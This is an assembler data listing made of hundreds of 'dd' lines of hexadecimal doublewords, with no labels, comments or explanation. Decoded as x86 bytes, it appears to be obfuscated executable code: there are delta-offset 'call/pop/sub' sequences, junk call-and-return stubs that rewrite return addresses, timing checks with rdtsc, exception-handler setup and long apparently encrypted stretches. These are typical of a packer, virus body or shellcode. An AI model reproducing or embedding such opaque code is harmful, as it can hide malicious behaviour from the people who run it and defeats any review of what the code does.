		dd 0DC20EE42h, 26A1171h, 0B55B589h, 6090064Dh, 0CE8DE8Bh
		dd 0E5000000h, 33FF6967h, 56C488AEh, 587FA0E5h,	9CBB5061h
		dd 9046D318h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 19h,	2EC35545h, 2062FC87h, 3195FFC0h, 8B064D24h, 4D0399BDh
		dd 0CCAE906h, 0E80000h,	5D000000h, 3605ED81h, 89510651h
		dd 4D214595h, 0B7BB5B06h, 0F5527D27h, 8A57858Dh, 9BB30650h
		dd 0D08B6050h, 24048961h, 1BC1BD8Bh, 0FF64064Dh, 35h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 214ACD1Bh, 0A73BE290h, 16198589h, 8964064Dh,	25h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 387D76C8h, 5870Fh, 81660000h, 0FFA761CBh, 4D181585h
		dd 0B3FF6A06h, 71B5FF77h, 0E9064D31h, 9, 0DE707999h, 4ECDD7DCh
		dd 6E9DFh, 4180000h, 0AAE7E91Dh, 41195FFh, 0AE9064Dh, 0E9000001h
		dd 11h,	73609ADBh, 14B8E316h, 9DEE097Bh, 0B6C03AECh, 0E900B06Ch
		dd 8, 192C2414h, 7C97C427h, 895670E6h, 4D1881B5h, 71E45B06h
		dd 6A6ABB66h, 830F613Ch, 0CDh, 0C0D9D8Bh, 9589064Dh, 64D30C5h
		dd 60C8B60Fh, 8BDA8B66h, 4D2E7595h, 6BA6106h, 52000000h
		dd 2AB99529h, 8B5F064Dh, 3D9589C1h, 0C1064D07h,	0F38004E8h
		dd 0E2F766B0h, 0BF66F560h, 2B61A262h, 2DBD03C8h, 8B064D33h
		dd 0BF6651D1h, 0E95F39D1h, 6, 3299BD29h, 858B064Dh, 64D1215h
		dd 10E9h, 0A6B2EB00h, 17A48C34h, 0CCEB5D0Fh, 50A84574h
		dd 7C0831Bh, 158D8B60h,	66064D21h, 8361D38Bh, 0BD8B00C0h
		dd 64D2321h, 830FD03Bh,	8, 0E9D98B66h, 31h, 17D18D8Bh
		dd 8166064Dh, 831974EFh, 840F01E1h, 1Dh, 30319589h, 0A583064Dh
		dd 64D17D1h, 159589FEh,	66064D12h, 0C40ED781h, 0E9h, 2AB58D00h
		dd 6A0650CFh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 0E9C8C353h, 0Dh, 0AEB50687h, 439360FAh
		dd 0B3C1B125h, 66006A9Eh, 0FF3755BFh, 4D051195h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 0FE997h, 0EAA00000h,	2BD75A78h, 3BF5FD43h, 7080F5A0h
		dd 6F8B9BFh, 7E80000h, 67000000h, 906DDC5Ch, 9D03A8FEh
		dd 64D279Dh, 919D895Fh,	83064D0Dh, 6AFCFCE1h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 9860C357h, 0BD1E565Fh, 8D8912C9h, 64D1549h, 0B509C02Bh
		dd 64D25C9h, 0FB8BD22Bh, 0D1C233ADh, 83D003E8h,	0F47504E9h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0D2C35141h
		dd 0FB99A681h, 17F5BD0Bh, 0CB81064Dh, 3ED8A27Bh, 1AF5BD23h
		dd 880D064Dh, 1000000h,	4D2D7DBDh, 99958B06h, 0F064D05h
		dd 68Fh, 0B19D2900h, 8B064D22h,	4D051D8Dh, 11E806h, 51990000h
		dd 0CD5A8F0h, 0C137A2C5h, 43FF39F9h, 897C0E71h,	4D29219Dh
		dd 8B505B06h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0DDC35545h
		dd 6D311894h, 9FB9D6D3h, 45BD8BA6h, 66064D00h, 6A18DABBh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 5C2C351h,	3A4880Eh, 55B5892Fh, 83064D2Dh
		dd 4D1C45BDh, 840F0006h, 3Eh, 11B19D31h, 0B8064Dh, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0E5A9C353h, 41C7EAC9h, 8D0EEF58h,	4D4DE58Dh
		dd 0E1FFF806h, 328D8D29h, 0BD83064Dh, 64D02E9h,	840F00h
		dd 6A000004h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 0E2B5C353h, 0B88BA2Eh,	4D21399Dh
		dd 0E9BD8306h, 1064D02h, 3E8840Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0DC3FF2C3h
		dd 9638A766h, 0BD839318h, 64D02E9h, 81860F03h, 6A000003h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 0A311C356h, 0BDA7D144h, 89602AD8h, 4D29D185h
		dd 0D98C6606h, 80DE8B66h
		dd 9D8904E1h, 64D0DDDh,	840FC90Ah, 168h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 1Bh, 0DC35343h, 0A076A1Eh
		dd 8B54577Bh, 4D187985h, 66BB6606h, 398533A0h, 66064D06h
		dd 5090F88Bh, 505BD88Bh, 0F90FB8Bh, 1988h, 14E900h, 0E28A0000h
		dd 8111533Dh, 0EE05626Bh, 3EB987E1h, 0FABF82E9h, 6A65E7h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0B8C35545h
		dd 0BD8B081Bh, 64D0D85h, 4E8h, 1F03FF00h, 0EDBB6600h, 0BE850BBh
		dd 0F000000h, 6FFEC162h, 0C541CA27h, 0BF6601C5h, 8B5B967Ch
		dd 0F042444h, 48Eh, 0D3BF6600h,	53008B89h, 895FD88Bh, 0E9042444h
		dd 0Fh,	0EF2123AAh, 0CCE1E511h,	0A4F09D6Ah, 58DC55EBh
		dd 0B195FFF9h, 6A064D0Eh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 1DE9C355h, 5E89E3Ch
		dd 6A000000h, 0A77C7BB9h, 12919D31h, 295F064Dh,	4D2DF98Dh
		dd 95858906h, 6A0650B7h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 515FC357h, 2F219D8Bh
		dd 895B064Dh, 4D1B5585h, 17DE906h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 25B7DFC3h
		dd 0D9BF0FBDh, 0B78D858Bh, 6A0650h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0B88545C3h
		dd 874B80D6h, 8B937DF3h, 1800C7DAh, 8B000000h, 4D03ADBDh
		dd 91B58B06h, 890650B7h, 4D26AD8Dh, 4DBD8B06h, 8B064D12h
		dd 4D32E585h, 0D98B6606h, 6A0689h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 77873FC3h, 79858B75h
		dd 8A064D18h, 44689DAh,	96FBB70Fh, 50F88B66h, 6A96DA8Ah
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0A7BEC355h, 958960C0h, 64D2F85h, 10E860h
		dd 0B4280000h, 671CE8E9h, 22D89B6h, 0F3C8B28Dh,	15EB24Ch
		dd 4D138DBDh, 0FF616106h, 50B78DB5h, 0BB0BBB06h, 5C6813EAh
		dd 60B1BA21h, 93B0C5B8h, 88B96635h, 481618Fh, 64E2A324h
		dd 31B5894Eh, 8D064D1Bh, 50B79585h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 8637B1E3h
		dd 24048950h, 0AE9h, 0E37A7000h, 0D02DD7BCh, 0FFC3FD99h
		dd 4D0EB195h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 860F867Ah, 3, 61DF8B66h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 52C35242h, 2E985C7h
		dd 3064Dh, 8B660000h, 21BD8BFEh, 83064D2Bh, 50B795BDh
		dd 840F0006h, 40h, 6E9h, 0F070EB00h, 0E97EDD71h, 4Bh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 10C35040h, 0A43191E1h
		dd 21CB5B5Ah, 58A0FC7h,	0BB000000h, 5D979BC3h, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 14CBC353h, 0A595296Ch, 66064D2Bh, 0B0A9E381h, 0C39BD0Bh
		dd 860F064Dh, 6, 21619D33h, 0BD83064Dh,	64D02E9h, 46850F03h
		dd 6A000004h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 645CC357h, 90939FCCh, 0BD83B064h
		dd 650B795h, 16840F00h,	0B000004h, 4D11EDBDh, 95B5FF06h
		dd 6A0650B7h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 0EB4DC357h, 32D58501h,	95FF064Dh
		dd 64D2D99h, 0BA5BD8Bh,	0B58B064Dh, 650B789h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 35C35747h, 49858937h
		dd 8B064D10h, 4D241D9Dh, 106C706h, 6A000100h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 9651C356h, 0C85B2117h, 7AA52882h, 290D81BFh,	6E870h
		dd 93B60000h, 5F83D559h, 11E9h,	0DC7EBA00h, 7EC701F7h
		dd 0F0522747h, 382C95A3h, 965B0AA5h, 0E6BB6657h, 96505FDAh
		dd 0F119D8Bh, 0B5FF064Dh, 650B795h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 0F8C35545h,	679D0B55h, 0CF8CAD11h
		dd 8D95FF4Eh, 6A064D30h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 0F1ABC351h,	2E96C670h
		dd 0B70FD166h, 89B58BFFh, 6A0650B7h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 7F6BC351h
		dd 8B1F19F4h, 4D238585h, 0C426BF06h, 868952BEh,	0C4h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 85C35545h, 696AE19h
		dd 599958Bh, 51BB064Dh,	817E97AFh, 0D94BBAE7h, 4C2835Ah
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 62C35646h
		dd 8325BC3h, 71B69F89h,	205089ABh, 0CBF0858Dh, 6A0650h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0E1D250C3h, 0B88689C3h, 0F000000h, 0A89h, 0B70F6000h
		dd 0C28166C1h, 8B614646h, 4D0D4DBDh, 0B3006A06h, 0F98D89BCh
		dd 0FF064D2Ah, 50B795B5h, 3195FF06h, 0E9064D24h, 0Ch, 0B9460AE8h
		dd 74D5C0AFh, 75FDC3ECh, 9E850h, 4DE60000h, 0C1EB8036h
		dd 60544725h, 6E9D88Ah,	29000000h, 0F3674F39h, 895B615Dh
		dd 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 58D95AC3h, 0D648B57h, 0EA19D8Bh, 0BD89064Dh
		dd 64D14C5h, 0B795B5FFh, 6A0650h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 75A799C3h, 5C59182Ch
		dd 0DB99D8Bh, 95FF064Dh, 64D2CC1h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 99C35040h, 33C33A41h, 0B41BD8Bh
		dd 0BD83064Dh, 64D32A5h, 5D840F00h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 376CC350h, 0E956365Bh, 7, 0B773AF22h, 89EA93D9h, 4D25C98Dh
		dd 50505006h, 0F525052h, 0F585A31h, 0FE831h, 0BCE40000h
		dd 7D058B46h, 0AFC009C5h, 0FA0AA461h, 585A5B84h, 2434895Bh
		dd 56B4BB66h, 0B795B5FFh, 9D8B0650h, 64D0E11h, 0C3EDBF66h
		dd 17C595FFh, 8A0F064Dh, 6, 14519D01h, 0B5FF064Dh, 650B795h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 4C35545h
		dd 0FF5BFC50h, 4D29B995h, 459D8B06h, 0BF064D21h, 36290612h
		dd 1505BD83h, 0F02064Dh, 5484h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0A90E941Bh
		dd 8B541359h, 4D15A985h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0BEE0C6D2h, 743F1A81h
		dd 8B0000C6h
		dd 4D0BC99Dh, 1185C706h, 64D21h, 53000000h, 76DDB960h
		dd 13E86902h, 91000000h, 1AC393E0h, 6BD0AF09h, 27F4963h
		dd 0B903EEB7h, 615B8842h, 0F3F7E95Fh, 6AFFFFh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0BD8B86C3h, 64D1475h, 8B2CCB80h, 0F88B66C1h,	735858Dh
		dd 8D31064Dh, 64D040Dh,	860F90h, 50000000h, 58F0Fh, 2FBF0000h
		dd 906057E9h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 18h,	78C35040h, 16FB0D2Ch, 6AD88B66h, 0E58D0100h, 6A064D28h
		dd 8D22B700h, 5144A785h, 5DBD0B06h, 83064D07h, 870F05C0h
		dd 3, 505FCF80h, 9EB0BB66h, 66240489h, 6AFA8Bh,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 57C35747h, 6840Fh
		dd 9D8B0000h, 64D10B5h,	6A006Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 5607CC3h, 0C105D764h
		dd 1F658D89h, 8D29064Dh, 64D3075h, 114995FFh, 6A064Dh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 72CCAC3h, 0C3E922Ch,	1639BD33h, 7DB3064Dh, 9A138D8Dh
		dd 6A0650h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 0B78D99C3h, 16890Fh, 11E90000h, 8B000000h
		dd 489FBB0Bh, 0D6305267h, 0B1E86448h, 4DD3F28Eh, 6AD1FFh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 0A59A0EC3h, 8394A094h, 4D1281BDh, 850F0106h,	71h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 66C35747h, 26919CD9h
		dd 9A6FBB3Bh, 0FE9h, 48951700h,	5030FCFDh, 0C39D4F3h, 66832669h
		dd 8B66026Ah, 0BF6650FEh, 489454Bh, 6AFEBB24h, 95FF7B66h
		dd 64D2431h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	86C35242h, 1ACC71D1h, 0D9CE99Ch, 0E80000h, 5D000000h
		dd 44B1ED81h, 6A0651h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 6A3657C3h, 1C12136Fh, 23985171h
		dd 4D234D9Dh, 5D958906h, 8D064D32h, 508A5785h, 0C99D8B06h
		dd 90064D1Ah, 0F525060h, 10E931h, 0B8460000h, 571AA9E1h
		dd 1A0CB4DDh, 0AFFE015Ch, 585AF33Fh, 89905061h,	4D32D585h
		dd 35FF6406h, 0
		dd 6359D0Bh, 8964064Dh,	25h, 0D9B70F00h, 181585FFh, 6057064Dh
		dd 870Fh, 870F0000h, 0
		dd 0FF6A5B61h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	0D6C35545h, 46B24BADh, 0C7816691h, 0B5FFB0B7h
		dd 64D2795h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Ah,	96C35343h, 532820BAh, 9D8BA452h, 64D2195h, 41195FFh
		dd 4EE9064Dh, 0E8000001h, 9, 830E42Eh, 0A2335317h, 12E965h
		dd 60040000h, 0B5CF593Dh, 0F160E8ADh, 20A56E9Fh, 26BD7DEDh
		dd 0F00B05Bh, 68Ah, 0C19D8B00h,	60064D0Ah, 0D91852Bh, 0BB66064Dh
		dd 0E6615963h, 22BB6670h, 0F71E46Eh, 8Eh, 0F613C00h, 0F883h
		dd 0FF98B00h, 0A4B3C8B6h, 6BAh,	89C18B00h, 4D158D8Dh, 4E8C106h
		dd 0CE9h, 0C663300h, 0D0A030ACh, 1E42FF32h, 0E2F76671h
		dd 12E960h, 0E4740000h,	0B7A24556h, 6AA5D88Eh, 0AAD96CBCh
		dd 4DD75CD0h, 12860Fh, 0DE90000h, 1C000000h, 70040DD7h
		dd 0C9EDF4F3h, 0C1AC2B62h, 0DB58961h, 2B064D1Eh, 219D2BC8h
		dd 8B064D11h, 0E59D8BD1h, 0E9064D29h, 0
		dd 2011858Bh, 9D89064Dh, 64D04E5h, 2907C083h, 4D204985h
		dd 83FC8A06h, 0BF6600C0h, 0D03B274Fh, 11830Fh, 0B5890000h
		dd 64D11C5h, 50E9h, 59858900h, 8B064D0Ah, 4D03098Dh, 0AE806h
		dd 51000000h, 22A90B9h,	0B9C9B2F4h, 0D4853BBFh,	83F55F61h
		dd 840F01E1h, 25h, 0A583F98Bh, 64D0309h, 719589FEh, 66064D1Bh
		dd 8125D781h, 20119589h, 8D89064Dh, 64D13C9h, 0E9h, 2BB58D00h
		dd 6A0650D8h, 1BD8B00h,	0FF064D18h, 4D051195h, 0FEB70F06h
		dd 0D49B9h, 0D5958900h,	83064D06h, 6AFCE1h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0BAE3F8C3h
		dd 0FC1ACD6Bh, 2BFFB70Fh, 50006AC0h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0ABC40B36h
		dd 1D0C8D8Ch, 68E0F21h,	89000000h, 4D0AC195h, 0BA06h, 0BF0F0000h
		dd 0C233ADF9h, 0D003E8D1h, 7504E983h, 53006AF4h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 891A0AC4h, 4D2C51BDh, 0ADBD8B06h, 0D064D2Eh,	88h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 15C35747h, 4F99D8Bh
		dd 958B064Dh, 64D0599h,	0B7CA74BFh, 1D8D8B23h, 66064D05h
		dd 3638CB81h, 8BC28B50h, 8BC10318h, 0D1C18B18h,	8BC203E8h
		dd 6A5818h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 2C33BC3h,	0B5894C53h, 64D303Dh, 0A99D8Bh
		dd 8D89064Dh, 64D11F9h,	1C45BD83h, 0F00064Dh, 8484h, 0B8FC00h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 0EC49C351h, 6E946h, 0BA280000h
		dd 0E48ECB42h, 4DE58D8Dh, 6A064Dh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 33E26CC3h, 4D15C99Dh
		dd 6AE1FF06h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 5731C351h, 0B1FFF7BAh,	89F5C19Bh
		dd 4D0441BDh, 0E9BD8306h, 64D02h, 493840Fh, 0FA8A0000h
		dd 2E9BD83h, 0F01064Dh,	49F84h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 89CB0F75h
		dd 4D303DB5h, 0E9BD8306h, 3064D02h, 438860Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 3F2569C3h, 0CD76D8A9h, 3D9D29F7h, 0B064D1Fh,	4D299DBDh
		dd 5FBB6006h, 66186649h, 0EBBFD98Ch, 800D1D81h,	9E904E1h
		dd 13000000h, 32C2BDC1h, 0FC377709h, 840FC90Ah,	11Ch, 35BD8BFCh
		dd 8B064D21h, 4D187985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 210B7902h, 6398533h, 0BD09064Dh
		dd 64D28CDh, 8B525090h,	60310FFEh, 61F18B66h, 9050585Ah
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 36C35646h
		dd 49420040h, 0DF8B66D8h, 11E8006Ah, 54000000h,	6DFC88B6h
		dd 0F81CDB0h, 7F9EAA27h, 92BBA041h, 1578CF81h, 0E85F0C85h
		dd 4, 1F03FFh, 0DA8B6650h, 424448Bh, 0E638BB66h, 800F008Bh
		dd 10h,	5E95250h, 0AD000000h, 13571085h, 585A310Fh, 4244489h
		dd 0FF58F98Bh, 4D0EB195h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 360899D5h
		dd 85896195h, 650B795h,	0BD98D89h, 8BE9064Dh, 6A000002h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 15D9C357h, 9F3B3AC9h, 8E64B6C8h, 0B78D858Bh
		dd 6A0650h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0D891D6C3h, 52213C4Eh, 0A19D8B7Ah, 0C7064D15h
		dd 1800h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 620EBF36h, 8E8CAh, 0AD240000h, 0AA8684E1h
		dd 0DA8A1E77h, 91B58B5Bh, 6A0650B7h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 8B8CC350h
		dd 4D2CBD9Dh, 858BF506h, 64D32E5h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 61C35343h, 890689E6h, 4D309585h
		dd 79858B06h, 6A064D18h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 9666C351h, 0BF0F898Eh
		dd 44689FEh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	0E2C35040h, 0ADF7E0Fh, 0F781C123h, 6B0D5A87h, 14E996h
		dd 88CC0000h, 0F509CA2h, 0ACD17B7Ch, 4BDDAC07h,	68618B02h
		dd 0F50F775h, 883h, 8A525000h, 5A310FF9h, 95319658h, 64D2279h
		dd 0B78DB5FFh, 6A0650h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1A0424h, 56460000h, 0B5D41FC3h, 90142F24h, 4E8h, 1F03FF00h
		dd 5890F00h, 56000000h,	5BDE8B66h, 138B0F50h, 0E9000000h
		dd 0Eh,	8AB24763h, 92777E77h, 28E679C7h, 448B9229h, 0B4BF0424h
		dd 8B084F28h, 0F525000h, 48Eh, 97BB6600h, 0E8310F07h, 0Ah
		dd 21E4A52Ah, 0C635906Ah, 61602941h, 89585A5Fh,	50042444h
		dd 8B665250h, 8A310FD8h, 5B585AFCh, 52006A58h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0DE69B4A8h
		dd 431D261Bh, 0B795858Dh, 50900650h, 8B525052h,	5A310FFBh
		dd 0BB310F58h, 1F7D488Ah, 0F50585Ah, 89h, 6A9000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 5053E6C3h, 39BF575Ch, 0FFF57A95h, 4D0EB195h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0DC3E627Ah, 0AAFA18B7h, 666116F3h, 0C7A8C4BBh, 4D02E985h
		dd 306h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 6E9E8BC1h, 0AE9B2B6h, 9F000000h
		dd 6E595AF2h, 0FC59783Fh, 0C38166CCh, 0BD831DE1h, 650B795h
		dd 0F840F00h, 66000000h, 0E97EF2BFh, 21h, 26099D8Bh, 3050064Dh
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 57006AC0h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 0AE95162h, 20000000h, 0AF54332Dh, 9911BB35h
		dd 0D9B70F8Ch, 2820Fh, 0D98B0000h, 2E9BD83h, 0F03064Dh
		dd 42185h, 0DE8B6600h, 0B795BD83h, 0F000650h, 41184h, 39CF8000h
		dd 0FFDEBF0Fh, 50B795B5h, 658D8906h, 0FF064D24h, 4D2D9995h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 0B58BABC6h, 650B789h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0FBC35545h,	0C37D23A6h, 9DBD8B5Ch
		dd 0C7064D11h, 1000106h, 66576000h, 5A4F9CB8h, 0F1BF9661h
		dd 50638A2Bh, 840F5250h, 2, 310F5F57h, 0CFBF5250h
		dd 0F0A0781h, 1D37BB31h, 585A1C36h, 5696585Ah, 14E9h, 9948D100h
		dd 5778ADC5h, 0A032C32Bh, 6FD42942h, 27525CDDh,	0B5FF5F37h
		dd 650B795h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	13C35040h, 48DA32CDh, 13CDBD8Bh, 850F064Dh, 3
		dd 0FFDAB70Fh, 4D308D95h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 8720FFE0h
		dd 83B6114Eh, 2D558501h, 0B58B064Dh, 650B789h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 93C35242h, 35BD8B28h
		dd 8B064D00h, 4D238585h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 18B2BDF1h, 0C48689EFh
		dd 0E8000000h, 14h, 795536C8h, 2D4971C4h, 0AD0342C2h, 0D7D57516h
		dd 5E5E00CCh, 5BF8BF0Fh, 599958Bh, 0CE9064Dh, 80000000h
		dd 6E1AD672h, 9DA7717Ah, 838CE7ABh, 9D8B04C2h, 64D2A35h
		dd 66205089h, 858DF98Bh, 650CBF0h, 95B58960h, 8B064D0Fh
		dd 868961DFh, 0B8h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 35C35545h, 3840F95h, 66000000h, 9D8BF98Bh
		dd 64D29E5h, 0B5FF006Ah, 650B795h, 29659D8Bh, 95FF064Dh
		dd 64D2431h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	75C35343h, 0E24CE03h, 67BB5096h, 5F031401h, 38F0F50h
		dd 66000000h, 0F596F98Bh, 0B795B5FFh, 95FF0650h, 64D2CC1h
		dd 0A5BD83F8h, 64D32h, 88840Fh,	6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0FA0F3EC3h
		dd 494DCBD7h, 0AE9B1h, 0A21C0000h, 730097A8h, 7783EDB6h
		dd 0DE950F9h, 0A2000000h, 77CA353Ch, 34841F3Eh,	0DB87A39Ah
		dd 6A243489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 2544C355h, 10E862ECh, 0E1000000h
		dd 213A2FEAh, 426043E0h, 79F2CC69h, 0FCE099Bh, 481h, 9FBB6600h
		dd 0B5FF5FE9h, 650B795h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 57C35747h, 981DEDC0h,	0DE2EDE72h, 31DF81B2h
		dd 0FF4D1A9Fh, 4D17C595h, 0F1BD8B06h, 0FF064D06h, 50B795B5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 0BA0D85C8h, 0FF4D92F5h, 4D29B995h, 890F6006h
		dd 3, 89FFBF0Fh, 4D06CD9Dh, 0BD836106h,	64D1505h, 81840F02h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 131FC352h, 858BB8C2h, 64D15A9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0B6C35747h
		dd 1E11E6A0h, 0C67546h,	52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 0E6A1A659h, 3FDE800h
